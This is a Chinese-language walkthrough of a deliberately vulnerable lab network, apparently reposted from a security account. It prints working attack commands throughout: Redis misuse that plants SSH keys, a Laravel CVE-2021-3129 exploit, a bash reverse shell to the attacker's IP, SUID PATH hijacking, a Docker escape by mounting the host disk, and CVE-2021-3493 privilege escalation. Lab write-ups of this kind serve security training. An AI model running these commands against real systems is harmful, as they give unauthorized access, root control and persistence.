免责声明:涉及到的所有技术和工具仅用来学习交流,严禁用于非法用途,未经授权请勿非法渗透,否则产生的一切后果自行承担!
环境搭建
环境下载
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
网络配置
VM新增虚拟网卡VMnet8、VMnet14。
DMZ区网络环境:桥接模式,IP段为192.168.43.0/24
第二层网络环境:VMnet8为NAT模式,IP段为192.168.52.0/24;
第三层网络环境:VMnet14为仅主机模式,IP段为192.168.93.0/24
二层、三层无法出网,一层能出网
VMnet14设为仅主机模式这样三层网络中的主机不能为外网通信减少被攻击的可能
以下为拓扑图,可以按照拓扑进行环境搭建:
DMZ区域:
web1机器配置双网卡,桥接对外提供服务,VMnet8(net)连接第二层网络
第二层网络区域:
web2和PC1都配置双网卡,VMnet8(net)连接第二层网络,VMnet14(仅主机)连接第三层网络
第三层网络区域:
win server 2012 单网卡,VMnet14(仅主机)连接第三层网络
PC2 单网卡,VMnet14(仅主机)连接第三层网络
服务配置
靶机需要运行着才能攻击,关闭靶机再次启动各项服务需要重新启动
域用户账户和密码如下:
Ubuntu 1:
Ubuntu 2:
DMZ区的Ubuntu需要启动Nginx和Redis服务:
注意:服务开启需要root权限
/etc/redis.conf
-c /etc/nginx/nginx.conf
iptables -F
第二层网络的Ubuntu需要启动Docker容器:
注意:服务开启需要root权限
sudo service docker start
sudo docker start 83172820ac78
第三层网络的Windows7(PC-1)需要启动通达OA:
注意:启动通达OA要管理员密码,这里还要注意一点,修改系统时间,先将靶机修改为合格时间2021年3月左右
通达OA地址:C:MYOAbinAutoConfig.exe
信息收集
1、寻找靶机ip:
扫描kali的内网设备,寻找靶机IP地址
netdiscover -r 192.168.43.0/24
192.168.43.40为本机IP,所以目标web机器IP地址为192.168.43.216
2、端口扫描:
nmap -A 192.168.43.216 -p-
有80、81 nginx服务 然后6379 redis数据库,我们先从80、81端口下手
访问80端口,发现为404
访问81端口,发现是Laravel框架且版本是Laravel v8.29.0 (PHP v7.4.14),Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。
搜索该框架是否存在历史漏洞,发现存在远程代码执行
Laravel <= 8.4.2,当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
渗透测试
1、redis未授权
由于之前扫描到6379端口redis服务的开放,所以开始尝试使用redis未授权
redis-cli -h 192.168.43.216
可以看到直接连接上了,那就简单了,可以直接往目标主机写入ssh公钥。
首先在攻击机kali生成ssh公钥:
ssh-keygen -t rsa
然后将公钥导入到redis_rsa.txt文件(前后用n换行,避免和Redis里其他缓存数据混合),再把redis_rsa.txt文件内容写入目标主机的redis缓冲里:
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > redis_rsa.txt
cat redis_rsa.txt | redis-cli -h 192.168.43.216 -p 6379 -x set redis_rsa
// -x 代表从标准输入读取数据作为该命令的最后一个参数
然后使用攻击机kali连接目标机器redis,分别执行下面的命令将SSH公钥写入目标机器
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为auth...
save # 将数据保存在目标服务器硬盘上
写入后尝试连接目标机器的ssh
ssh 192.168.43.216
成功连接目标主机,查看目标ip信息
发现了目标除了桥接的网卡之外,还有另一个内网ip段“192.168.52.0/24”
系统发行版本为Ubuntu 18.04.5
查看 /home 下的文件发现有web目录
cd /etc/nginx/conf.d
发现目录下有两个配置文件分别为80端口和81端口的配置文件,80是404报错所以查看81,发现81端口进行了反向代理
访问81端口,发现为laravel框架,网上查该框架的历史漏洞
2、远程代码执行漏洞
该框架存在远程代码执行,可以通过exp利用,生成shell,在网上找exp,下面为小智使用的工具地址
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
使用哥斯拉2.92版本可以直接连接(高版本加密方式不同连接会失败)
连接shell后发现是docker容器
向kali反弹shell
kali开启监听:
nc -lvvp 5566
反弹shell:
bash -c 'exec bash -i &>/dev/tcp/192.168.43.177/5566<&1'
反弹shell成功,接下来进行提权
一、提权
首先查找高权限文件,也就是可以进行root操作的权限
使用find命令搜索SUID或4000权限的文件
find / -perm -u=s -type f 2>/dev/null
这里查完就可以知道home/jobs/shell是以root权限运行的
这里使用环境变量劫持来进行提权
先写一个恶意的ps,里面进入shell命令行,修改环境变量,让shell找ps的时候找恶意ps
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
成功提升为root权限
将其改为tty的交互式
python -c 'import pty; pty.spawn("/bin/bash")'
这里就实现了www用户到root用户的权限提升,因为目前处于docker环境下,所以需要进行docker逃逸
二、docker逃逸
特权模式于版本0.6被引入docker,允许容器内的root拥有外部物理机root的权限,而此前容器内root用户拥有外部物理机普通用户权限
首先我们在docker中新建一个/hi目录用来挂载文件
mkdir /hi
尝试将/dev/sda1挂载到hi目录
mount /dev/sda1 /hi
在刚才获取的web1主机上生成一个ssh密钥
接下来将我们生成的ssh密钥写入/hi/home/ubuntu/.ssh目录的authorzed_keys文件中,可以使用密钥登录改机器
ssh-keygen -f hi
chmod 600 hi
将hi.hub中的密钥写入/hi/home/ubuntu/.ssh/authorized_keys中
cp -avx /hi/home/ubuntu/.ssh/id_rsa.pub /hi/home/ubuntu/.ssh/authorized_keys
echo > /hi/home/ubuntu/.ssh/authorized_keys
echo '生成的.pub文件的内容' > /hi/home/ubuntu/.ssh/authorized_keys
写入后使用ssh连接web2(反向代理那台机器)
ssh -i hi ubuntu@192.168.52.20
利用web1上的hi密钥进行登录(这里的提示要选择yes)
发现登录上的为ubuntu用户,首先进行信息收集,发现存在93网段
查看版本信息
uname -a
发现版本为ubuntu14.04版本,此版本存在CVE-2021-3493漏洞
该漏洞影响版本:
Ubuntu 20.10 Ubuntu 20.04 LTS Ubuntu18.04 LTS
Ubuntu 16.04 LTS Ubuntu 14.04 ESM (Linux内核版本 < 5.11)
首先建立一个exploit.c文件,将脚本内容粘贴进行,然后编译运行即可获取权限
vim exploit.c
gcc exploit.c -o exploit
chmod +x exploit
成功拿到bash权限
下一篇我们继续,接下来上线msf攻击内网
原文始发于微信公众号(智检安全):红日ATT&CK实战系列七(上)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论